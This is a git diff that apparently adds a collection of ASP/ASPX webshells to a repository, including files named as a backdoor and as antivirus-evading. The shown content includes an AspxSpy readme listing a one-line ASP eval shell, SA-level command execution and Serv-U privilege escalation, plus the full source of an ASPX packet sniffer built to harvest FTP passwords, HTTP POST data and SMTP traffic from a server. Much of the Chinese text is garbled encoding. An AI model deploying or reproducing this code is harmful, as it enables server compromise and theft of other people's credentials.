||||||
|
Set sm = CreateObject("ADODB.Stream")
|
||||||
|
sm.Open
|
||||||
|
sm.Type = 1
|
||||||
|
sm.Write(stream)
|
||||||
|
sm.Position = 0
|
||||||
|
sm.Type = 2
|
||||||
|
sm.Position = 0
|
||||||
|
StreamToText = sm.ReadText()
|
||||||
|
sm.Close
|
||||||
|
Set sm = Nothing
|
||||||
|
End If
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Public Function TextToStream(byval text)
|
||||||
|
Dim sm
|
||||||
|
If text = "" Then
|
||||||
|
TextToStream = "" '<27><><EFBFBD><EFBFBD>
|
||||||
|
Else
|
||||||
|
Set sm = server.CreateObject("ADODB.Stream")
|
||||||
|
sm.Open
|
||||||
|
sm.Type = 2
|
||||||
|
sm.WriteText(text)
|
||||||
|
sm.Position = 0
|
||||||
|
sm.Type = 1
|
||||||
|
sm.Position = 0
|
||||||
|
TextToStream = sm.Read
|
||||||
|
sm.Close
|
||||||
|
Set sm = Nothing
|
||||||
|
End If
|
||||||
|
End Function
|
||||||
|
|
||||||
|
'<27><>ѹʱ ȷ<><C8B7><EFBFBD>ļ<EFBFBD><C4BC>д<EFBFBD><D0B4><EFBFBD>myfind<6E><64>myfso
|
||||||
|
Function myfso(byval Path)
|
||||||
|
Dim f
|
||||||
|
If Not fso.FolderExists(Path) Then
|
||||||
|
Set f = fso.CreateFolder(Path)
|
||||||
|
End If
|
||||||
|
Set f = Nothing
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function myfind(byval Path)
|
||||||
|
Dim paths, subpath, i
|
||||||
|
'<27><>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>(\)
|
||||||
|
If Right(Path, 1)<>"\" Then Path = Path&"\"
|
||||||
|
Path = Replace(Replace(Path, "/", "\"), "\\", "\")
|
||||||
|
paths = Split(Path, "\")
|
||||||
|
For i = 0 To UBound(paths) -1
|
||||||
|
subpath = subpath & paths(i) & "\"
|
||||||
|
If CStr(Left(subpath, Len(rootpath))) = CStr(rootpath) Then
|
||||||
|
myfso(subpath)
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function Strright(byval Str, byval L)
|
||||||
|
Dim Temp_Str, I, Test_Str
|
||||||
|
Temp_Str = Len(Str)
|
||||||
|
For i = Temp_Str To 1 step -1
|
||||||
|
Test_Str = (Mid(Str, I, 1))
|
||||||
|
Strright = Test_Str&Strright
|
||||||
|
If Asc(Test_Str)>0 Then
|
||||||
|
lens = lens + 1
|
||||||
|
Else
|
||||||
|
lens = lens + 2
|
||||||
|
End If
|
||||||
|
If lens>= L Then Exit For
|
||||||
|
Next
|
||||||
|
End Function
|
||||||
|
function iif(expression,returntrue,returnfalse)
|
||||||
|
if expression=0 then
|
||||||
|
iif=returnfalse
|
||||||
|
else
|
||||||
|
iif=returntrue
|
||||||
|
end if
|
||||||
|
end function
|
||||||
|
End Class
|
||||||
2941
net-friend/aspx/01.aspx
Normal file
2941
net-friend/aspx/01.aspx
Normal file
File diff suppressed because it is too large
Load Diff
1561
net-friend/aspx/1----环境检测功能非常不错.aspx
Normal file
1561
net-friend/aspx/1----环境检测功能非常不错.aspx
Normal file
File diff suppressed because it is too large
Load Diff
1047
net-friend/aspx/1.aspx
Normal file
1047
net-friend/aspx/1.aspx
Normal file
File diff suppressed because it is too large
Load Diff
1561
net-friend/aspx/11.aspx
Normal file
1561
net-friend/aspx/11.aspx
Normal file
File diff suppressed because it is too large
Load Diff
2949
net-friend/aspx/ASP.NET Web BackDoor.aspx
Normal file
2949
net-friend/aspx/ASP.NET Web BackDoor.aspx
Normal file
File diff suppressed because it is too large
Load Diff
2941
net-friend/aspx/Aspx(免杀).aspx
Normal file
2941
net-friend/aspx/Aspx(免杀).aspx
Normal file
File diff suppressed because it is too large
Load Diff
2588
net-friend/aspx/aspx.aspx
Normal file
2588
net-friend/aspx/aspx.aspx
Normal file
File diff suppressed because it is too large
Load Diff
1563
net-friend/aspx/aspxspy.aspx
Normal file
1563
net-friend/aspx/aspxspy.aspx
Normal file
File diff suppressed because it is too large
Load Diff
1563
net-friend/aspx/aspxspy/1.aspx
Normal file
1563
net-friend/aspx/aspxspy/1.aspx
Normal file
File diff suppressed because it is too large
Load Diff
1563
net-friend/aspx/aspxspy/aspxspy.aspx
Normal file
1563
net-friend/aspx/aspxspy/aspxspy.aspx
Normal file
File diff suppressed because it is too large
Load Diff
33
net-friend/aspx/aspxspy/read.txt
Normal file
33
net-friend/aspx/aspxspy/read.txt
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
AspxSpy 1.0 Cody By Bin[20nt]
|
||||||
|
Readme:
|
||||||
|
|
||||||
|
1.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>VS2005 + C#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FrameWork1.1/2.0<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>롣
|
||||||
|
|
||||||
|
2.<2E><><EFBFBD><EFBFBD>Ϊ32λMD5<44><35><EFBFBD><EFBFBD>(Сд) Ĭ<><C4AC>Ϊ admin.
|
||||||
|
|
||||||
|
3.<2E><><EFBFBD><EFBFBD>POST<53><54>ʽ<EFBFBD>ύ<EFBFBD><E1BDBB><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԡ<EFBFBD>
|
||||||
|
|
||||||
|
4.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IIS̽<53><EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>IISվ<53><D5BE><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2>
|
||||||
|
|
||||||
|
5.<2E><>ǿ<EFBFBD>˶<EFBFBD><CBB6>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5>ġ<DEB8>
|
||||||
|
|
||||||
|
6.<2E><>SQLTools<6C><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD>SAȨ<41><C8A8>ִ<EFBFBD><D6B4>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>ܣ<EFBFBD>SQL_DIR <20><><EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>log/database<73><65><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ŀ¼<C4BF><C2BC>
|
||||||
|
<20>ļ<EFBFBD><C4BC><EFBFBD>Ϊbin.asp Shell Ϊ<%execute request("B")%>
|
||||||
|
|
||||||
|
7.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Serv-u <20><>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD>.
|
||||||
|
|
||||||
|
8.<2E><><EFBFBD>ԶԶ˿<D4B6>ʵ<EFBFBD>ֵ<EFBFBD><D6B5>߳<EFBFBD>ɨ<EFBFBD>衣
|
||||||
|
|
||||||
|
9.<2E><><EFBFBD>Զ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>мĶ<F2B5A5B5>ȡ.
|
||||||
|
|
||||||
|
PS: <20>ȷ<EFBFBD><C8B7><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>汾<D4B0><E6B1BE><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>м<EFBFBD><D0BC><EFBFBD>,<2C><><EFBFBD><EFBFBD>Ȥ<EFBFBD><C8A4><EFBFBD><EFBFBD><EFBFBD>ѿ<EFBFBD><D1BF>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD>£<EFBFBD><C2A3><EFBFBD><EFBFBD>ƺܿ<C6BA><DCBF>ͻᱻK<E1B1BB><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BUG<55><47><EFBFBD>Ե<EFBFBD>www.rootkit.net.cn<63><6E><EFBFBD><EFBFBD>.
|
||||||
|
E-mail : master@rootkit.net.net
|
||||||
|
|
||||||
|
<20><>л Snailsor <20>ļ<EFBFBD><C4BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD>Fuyu<79><75><EFBFBD>ҵĹػ<C4B9><D8BB><EFBFBD>ף<EFBFBD><D7A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֣<EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
33
net-friend/aspx/read.txt
Normal file
33
net-friend/aspx/read.txt
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
AspxSpy 1.0 Cody By Bin[20nt]
|
||||||
|
Readme:
|
||||||
|
|
||||||
|
1.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>VS2005 + C#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FrameWork1.1/2.0<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>롣
|
||||||
|
|
||||||
|
2.<2E><><EFBFBD><EFBFBD>Ϊ32λMD5<44><35><EFBFBD><EFBFBD>(Сд) Ĭ<><C4AC>Ϊ admin.
|
||||||
|
|
||||||
|
3.<2E><><EFBFBD><EFBFBD>POST<53><54>ʽ<EFBFBD>ύ<EFBFBD><E1BDBB><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԡ<EFBFBD>
|
||||||
|
|
||||||
|
4.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IIS̽<53><EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>IISվ<53><D5BE><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2>
|
||||||
|
|
||||||
|
5.<2E><>ǿ<EFBFBD>˶<EFBFBD><CBB6>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5>ġ<DEB8>
|
||||||
|
|
||||||
|
6.<2E><>SQLTools<6C><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD>SAȨ<41><C8A8>ִ<EFBFBD><D6B4>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>ܣ<EFBFBD>SQL_DIR <20><><EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>log/database<73><65><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ŀ¼<C4BF><C2BC>
|
||||||
|
<20>ļ<EFBFBD><C4BC><EFBFBD>Ϊbin.asp Shell Ϊ<%execute request("B")%>
|
||||||
|
|
||||||
|
7.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Serv-u <20><>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD>.
|
||||||
|
|
||||||
|
8.<2E><><EFBFBD>ԶԶ˿<D4B6>ʵ<EFBFBD>ֵ<EFBFBD><D6B5>߳<EFBFBD>ɨ<EFBFBD>衣
|
||||||
|
|
||||||
|
9.<2E><><EFBFBD>Զ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>мĶ<F2B5A5B5>ȡ.
|
||||||
|
|
||||||
|
PS: <20>ȷ<EFBFBD><C8B7><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>汾<D4B0><E6B1BE><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>м<EFBFBD><D0BC><EFBFBD>,<2C><><EFBFBD><EFBFBD>Ȥ<EFBFBD><C8A4><EFBFBD><EFBFBD><EFBFBD>ѿ<EFBFBD><D1BF>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD>£<EFBFBD><C2A3><EFBFBD><EFBFBD>ƺܿ<C6BA><DCBF>ͻᱻK<E1B1BB><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BUG<55><47><EFBFBD>Ե<EFBFBD>www.rootkit.net.cn<63><6E><EFBFBD><EFBFBD>.
|
||||||
|
E-mail : master@rootkit.net.net
|
||||||
|
|
||||||
|
<20><>л Snailsor <20>ļ<EFBFBD><C4BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD>Fuyu<79><75><EFBFBD>ҵĹػ<C4B9><D8BB><EFBFBD>ף<EFBFBD><D7A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֣<EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
707
net-friend/aspx/sniffer--aspx的嗅探工具.aspx
Normal file
707
net-friend/aspx/sniffer--aspx的嗅探工具.aspx
Normal file
@@ -0,0 +1,707 @@
|
|||||||
|
<%@ Page Language="C#" ValidateRequest="false" %>
|
||||||
|
<%@ Import Namespace="System.Net.Sockets" %>
|
||||||
|
<%@ Import Namespace="System.Net" %>
|
||||||
|
<%@ Import Namespace="System.IO" %>
|
||||||
|
<%@ Import Namespace="System.Collections" %>
|
||||||
|
<%@ Import Namespace="System.Text" %>
|
||||||
|
<%@ Import Namespace="System.Net.NetworkInformation" %>
|
||||||
|
<%@ Import Namespace="System.Threading" %>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head runat="server">
|
||||||
|
<title>WebSniff 1.0 Powered by <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˮ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> </title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<script runat="server">
|
||||||
|
|
||||||
|
static private Socket mainSocket; //The socket which captures all incoming packets
|
||||||
|
private static byte[] byteData = new byte[2048];
|
||||||
|
private static bool bContinueCapturing = true; //A flag to check if packets are to be captured or not
|
||||||
|
static int stoppackes = 0;
|
||||||
|
static int port = 0;
|
||||||
|
static string strIP = null;
|
||||||
|
static long packets = 0;
|
||||||
|
static System.IO.FileStream wfs;
|
||||||
|
static string logfile =null;
|
||||||
|
static PacketCaptureWriter pktwt;
|
||||||
|
static string keyword;
|
||||||
|
static DateTime stoptime = System.DateTime.Now.AddYears(-8);
|
||||||
|
static Thread th;
|
||||||
|
static int minisizepacket=0;
|
||||||
|
static string proException = null;
|
||||||
|
|
||||||
|
static Boolean logNextPacket = false;
|
||||||
|
static Boolean my_s_ftp= true;
|
||||||
|
static Boolean my_s_http_post = false;
|
||||||
|
static Boolean my_s_smtp = false;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
protected void Page_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (logfile == null)
|
||||||
|
{
|
||||||
|
logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".txt");
|
||||||
|
}
|
||||||
|
if (stoptime.Year == (System.DateTime.Now.Year - 8))
|
||||||
|
{
|
||||||
|
System.DateTime nextDay = System.DateTime.Now.AddDays(1);
|
||||||
|
stoptime = nextDay;
|
||||||
|
}
|
||||||
|
|
||||||
|
//û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>б<EFBFBD>
|
||||||
|
if (ddlist.Items.Count==0)
|
||||||
|
{
|
||||||
|
IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
|
||||||
|
if (HosyEntry.AddressList.Length > 0)
|
||||||
|
{
|
||||||
|
foreach (IPAddress ip in HosyEntry.AddressList)
|
||||||
|
{
|
||||||
|
ddlist.Items.Add(ip.ToString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//<2F>粻<EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD>Starts<74><73>ť<EFBFBD><C5A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӡ<EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
|
||||||
|
if (Request.Form["Starts"] == null)
|
||||||
|
{
|
||||||
|
this.ddlist.SelectedValue = strIP;
|
||||||
|
this.txtport.Text = port.ToString();
|
||||||
|
this.txtMinisize.Text = minisizepacket.ToString();
|
||||||
|
this.txtkeywords.Text = keyword;
|
||||||
|
this.txtlogfile.Text = logfile;
|
||||||
|
this.txtpackets.Text = stoptime.ToString();
|
||||||
|
this.s_ftp.Checked = my_s_ftp;
|
||||||
|
this.s_http_post.Checked = my_s_http_post;
|
||||||
|
this.s_smtp.Checked = my_s_smtp;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (th != null )
|
||||||
|
{
|
||||||
|
this.Lb_msg.Text = System.DateTime.Now.ToString()+" State: <b>" + th.ThreadState.ToString() +"</b> Packets: "+packets.ToString();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.Lb_msg.Text = "<22><>̽<EFBFBD><CCBD>û<EFBFBD>п<EFBFBD>ʼ<EFBFBD><CABC>";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if (Request.Form["Starts"] != null || th != null)
|
||||||
|
{
|
||||||
|
this.Starts.Enabled = false;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.Starts.Enabled = true;
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>stop<6F><70>ť
|
||||||
|
if (Request.Form["Button1"] != null)
|
||||||
|
{
|
||||||
|
this.Starts.Enabled = true;
|
||||||
|
this.Lb_msg.Text = System.DateTime.Now.ToString() + " State: <b>stoping. Click \"Refresh\" again to see if thread is stoped successed.</b> Packets: " + packets.ToString();
|
||||||
|
}
|
||||||
|
|
||||||
|
Lb_msg2.Text = proException; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void Refresh_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void Stop_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
packets = stoppackes;
|
||||||
|
//stoptime = System.DateTime.Now;
|
||||||
|
proException += "<br>last time stop at " + System.DateTime.Now.ToString();
|
||||||
|
bContinueCapturing = false;
|
||||||
|
|
||||||
|
|
||||||
|
if (th != null)
|
||||||
|
{
|
||||||
|
th.Abort();
|
||||||
|
th = null;
|
||||||
|
}
|
||||||
|
try
|
||||||
|
{
|
||||||
|
wfs.Close();
|
||||||
|
mainSocket.Close();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
protected void Pagestart()
|
||||||
|
{
|
||||||
|
//<2F><>¼<EFBFBD><C2BC><EFBFBD>ù<EFBFBD><C3B9>IJ<EFBFBD><C4B2><EFBFBD>
|
||||||
|
strIP = ddlist.SelectedValue;
|
||||||
|
port = Int32.Parse(txtport.Text);
|
||||||
|
stoptime = Convert.ToDateTime( txtpackets.Text);
|
||||||
|
logfile = this.txtlogfile.Text;
|
||||||
|
keyword = txtkeywords.Text;
|
||||||
|
minisizepacket = Int32.Parse(txtMinisize.Text);
|
||||||
|
my_s_ftp = this.s_ftp.Checked;
|
||||||
|
my_s_http_post = this.s_http_post.Checked;
|
||||||
|
my_s_smtp = this.s_smtp.Checked;
|
||||||
|
|
||||||
|
wfs = System.IO.File.Create(logfile);
|
||||||
|
pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
|
||||||
|
bContinueCapturing = true;
|
||||||
|
packets = 0;
|
||||||
|
|
||||||
|
Start();
|
||||||
|
}
|
||||||
|
private static void Start()
|
||||||
|
{
|
||||||
|
byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
|
||||||
|
byte[] byOut = new byte[4] { 1, 0, 0, 0 };
|
||||||
|
try
|
||||||
|
{
|
||||||
|
bContinueCapturing = true;
|
||||||
|
mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
|
||||||
|
mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
|
||||||
|
mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
|
||||||
|
mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
proException += ex.ToString()+"<BR>"; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7>ʾ<EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD>proException
|
||||||
|
}
|
||||||
|
byteData = new byte[2048];
|
||||||
|
|
||||||
|
while (System.DateTime.Now <= stoptime)
|
||||||
|
{
|
||||||
|
ParseData(byteData, mainSocket.Receive(byteData));
|
||||||
|
}
|
||||||
|
bContinueCapturing = false;
|
||||||
|
wfs.Close();
|
||||||
|
mainSocket.Close();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void Start_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
|
||||||
|
th = new Thread(new ThreadStart(Pagestart));
|
||||||
|
th.Start();
|
||||||
|
//Session["workthread"] = th;
|
||||||
|
this.Lb_msg.Text = "\r\nSniffing.Click \"Refresh\" to see the lastest status.";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
|
||||||
|
{
|
||||||
|
ushort u = 0;
|
||||||
|
|
||||||
|
if (Type == 0)
|
||||||
|
{
|
||||||
|
u = (ushort)ptr[Index++];
|
||||||
|
u *= 256;
|
||||||
|
u += (ushort)ptr[Index++];
|
||||||
|
}
|
||||||
|
else if (Type == 1)
|
||||||
|
{
|
||||||
|
u = (ushort)ptr[++Index];
|
||||||
|
u *= 256; Index--;
|
||||||
|
u += (ushort)ptr[Index++]; Index++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return u;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static void ParseData(byte[] byteData, int nReceived)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] nbyte = new byte[nReceived];
|
||||||
|
Array.Copy(byteData, nbyte, nReceived);
|
||||||
|
if ((int)nbyte[9] == 6)
|
||||||
|
{
|
||||||
|
|
||||||
|
int sport = Get2Bytes(nbyte, 20,0);
|
||||||
|
int dport = Get2Bytes(nbyte, 22,0);
|
||||||
|
|
||||||
|
String datas=Encoding.Default.GetString(nbyte);
|
||||||
|
Boolean logIt=false;
|
||||||
|
|
||||||
|
|
||||||
|
if (my_s_ftp)
|
||||||
|
{
|
||||||
|
if ((sport == 21 || dport == 21) &&
|
||||||
|
(datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
|
||||||
|
)
|
||||||
|
{
|
||||||
|
logIt =true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!logIt && my_s_http_post)
|
||||||
|
{
|
||||||
|
if(logNextPacket){
|
||||||
|
logIt =true;
|
||||||
|
logNextPacket=false;
|
||||||
|
|
||||||
|
}
|
||||||
|
if (!logIt && datas.IndexOf("POST ")>=0)
|
||||||
|
{
|
||||||
|
logIt =true;
|
||||||
|
logNextPacket=true;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
|
||||||
|
{
|
||||||
|
logIt =true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//<2F>ж϶˿<CFB6>
|
||||||
|
if (!logIt && (dport == port || sport == port))
|
||||||
|
{
|
||||||
|
if (nReceived > minisizepacket)
|
||||||
|
{
|
||||||
|
|
||||||
|
//<2F>жϹؼ<CFB9><D8BC><EFBFBD>
|
||||||
|
if (keyword != "")
|
||||||
|
{
|
||||||
|
if (datas.IndexOf(keyword) >= 0)
|
||||||
|
{
|
||||||
|
logIt =true;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
logIt =true;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(logIt){
|
||||||
|
PacketCapture pkt = new PacketCapture(nbyte, nReceived);
|
||||||
|
pktwt.Write(pkt);
|
||||||
|
packets++;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
}
|
||||||
|
public struct UnixTime
|
||||||
|
{
|
||||||
|
public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
|
||||||
|
public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
|
||||||
|
|
||||||
|
private readonly int _Value;
|
||||||
|
|
||||||
|
public UnixTime(int value)
|
||||||
|
{
|
||||||
|
if (value < 0)
|
||||||
|
throw new ArgumentOutOfRangeException("value");
|
||||||
|
_Value = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int Value
|
||||||
|
{
|
||||||
|
get { return _Value; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public DateTime ToDateTime()
|
||||||
|
{
|
||||||
|
const long START = 621355968000000000; // 1970-1-1 00:00:00
|
||||||
|
return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static UnixTime FromDateTime(DateTime dateTime)
|
||||||
|
{
|
||||||
|
if (dateTime < MinDateTime || dateTime > MaxDateTime)
|
||||||
|
throw new ArgumentOutOfRangeException("dateTime");
|
||||||
|
TimeSpan span = dateTime.Subtract(MinDateTime);
|
||||||
|
return new UnixTime((int)span.TotalSeconds);
|
||||||
|
}
|
||||||
|
|
||||||
|
public override string ToString()
|
||||||
|
{
|
||||||
|
return ToDateTime().ToString();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
public enum LinkLayerType : uint
|
||||||
|
{
|
||||||
|
Null = 0,
|
||||||
|
Ethernet = 1,
|
||||||
|
RawIP = 101,
|
||||||
|
User0 = 147,
|
||||||
|
User1 = 148,
|
||||||
|
User2 = 149,
|
||||||
|
User3 = 150,
|
||||||
|
User4 = 151,
|
||||||
|
User5 = 152,
|
||||||
|
User6 = 153,
|
||||||
|
User7 = 154,
|
||||||
|
User8 = 155,
|
||||||
|
User9 = 156,
|
||||||
|
User10 = 157,
|
||||||
|
User11 = 158,
|
||||||
|
User12 = 159,
|
||||||
|
User13 = 160,
|
||||||
|
User14 = 161,
|
||||||
|
User15 = 162,
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public sealed class PacketCaptureWriter
|
||||||
|
{
|
||||||
|
#region Fields
|
||||||
|
private const uint MAGIC = 0xA1B2C3D4;
|
||||||
|
private readonly Stream _BaseStream;
|
||||||
|
private readonly LinkLayerType _LinkLayerType;
|
||||||
|
private readonly int _MaxPacketLength;
|
||||||
|
private readonly BinaryWriter m_Writer;
|
||||||
|
private bool m_ExistHeader = false;
|
||||||
|
private int _TimeZone;
|
||||||
|
private int _CaptureTimestamp;
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region Constructors
|
||||||
|
|
||||||
|
public PacketCaptureWriter(
|
||||||
|
Stream baseStream, LinkLayerType linkLayerType,
|
||||||
|
int maxPacketLength, int captureTimestamp)
|
||||||
|
{
|
||||||
|
if (baseStream == null) throw new ArgumentNullException("baseStream");
|
||||||
|
if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
|
||||||
|
if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
|
||||||
|
_BaseStream = baseStream;
|
||||||
|
_LinkLayerType = linkLayerType;
|
||||||
|
_MaxPacketLength = maxPacketLength;
|
||||||
|
_CaptureTimestamp = captureTimestamp;
|
||||||
|
m_Writer = new BinaryWriter(_BaseStream);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
|
||||||
|
: this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
|
||||||
|
: this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region Properties
